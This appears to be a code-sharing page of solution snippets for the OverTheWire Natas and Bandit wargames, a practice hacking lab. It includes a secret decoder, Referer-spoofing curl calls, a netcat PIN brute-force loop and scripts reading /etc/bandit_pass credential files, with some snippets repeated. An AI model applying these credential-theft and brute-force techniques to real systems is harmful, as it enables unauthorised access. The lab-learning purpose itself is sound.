Håkan Fahlstedt HFahlstedt

## otw_natas8b.php
<?
  print base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>

## otw_natas8.php
<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {

## natas6.php
<?
    include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
          print "Access granted. The password for natas7 is <censored>";
        } else {
          print "Wrong secret";
        }
    }

## otw_natas4.sh
curl -u natas4:<password for natas4> -H "Referer: http://natas5.natas.labs.overthewire.org/" natas4.natas.labs.overthewire.org

## otw_natas0.sh
curl -u natas0:natas0 http://natas0.natas.labs.overthewire.org

## otw_bandit24.sh
seq -f "<password of bandit24> %04g" 9999 | nc localhost 30002

## steal_password.sh
#!/bin/bash

cat /etc/bandit_pass/bandit24 > /tmp/stolen_password_from_bandit24/password.txt

## otw_bandit20a.sh
echo <password for bandit20> | nc -l 12345

## otw_bandit19b.sh
./bandit20-do cat /etc/bandit_pass/bandit20

## otw_bandit19a.sh
./bandit20-do whoami
	<?
	print base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
	?>
	<?

	$encodedSecret = "3d3d516343746d4d6d6c315669563362";

	function encodeSecret($secret) {
	return bin2hex(strrev(base64_encode($secret)));
	}

	if(array_key_exists("submit", $_POST)) {
	if(encodeSecret($_POST['secret']) == $encodedSecret) {
	<?
	include "includes/secret.inc";

	if(array_key_exists("submit", $_POST)) {
	if($secret == $_POST['secret']) {
	print "Access granted. The password for natas7 is <censored>";
	} else {
	print "Wrong secret";
	}
	}
	#!/bin/bash

	cat /etc/bandit_pass/bandit24 > /tmp/stolen_password_from_bandit24/password.txt